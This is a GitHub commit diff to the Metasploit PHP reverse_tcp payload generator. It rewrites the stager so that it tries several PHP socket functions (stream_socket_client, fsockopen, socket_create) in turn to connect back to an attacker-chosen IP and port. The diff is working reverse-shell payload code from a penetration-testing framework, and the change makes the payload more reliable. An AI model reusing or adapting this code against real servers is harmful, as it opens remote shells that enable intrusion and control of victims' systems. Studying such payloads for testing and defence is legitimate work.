Skip to content

Commit e8d4ad8

Browse files
committed
Try all callable methods when creating socket
1 parent 75c571d commit e8d4ad8

File tree

1 file changed

+6
-3
lines changed

1 file changed

+6
-3
lines changed

lib/msf/core/payload/php/reverse_tcp.rb

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -60,15 +60,18 @@ def generate_reverse_tcp(opts={})
6060
if (($f = 'stream_socket_client') && is_callable($f)) {
6161
$s = $f("tcp://{$ip}:{$port}");
6262
$s_type = 'stream';
63-
} elseif (($f = 'fsockopen') && is_callable($f)) {
63+
}
64+
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
6465
$s = $f($ip, $port);
6566
$s_type = 'stream';
66-
} elseif (($f = 'socket_create') && is_callable($f)) {
67+
}
68+
if (!$s && ($f = 'socket_create') && is_callable($f)) {
6769
$s = $f(#{ipf}, SOCK_STREAM, SOL_TCP);
6870
$res = @socket_connect($s, $ip, $port);
6971
if (!$res) { die(); }
7072
$s_type = 'socket';
71-
} else {
73+
}
74+
if (!$s_type) {
7275
die('no socket funcs');
7376
}
7477
if (!$s) { die('no socket'); }

0 commit comments

Comments
 (0)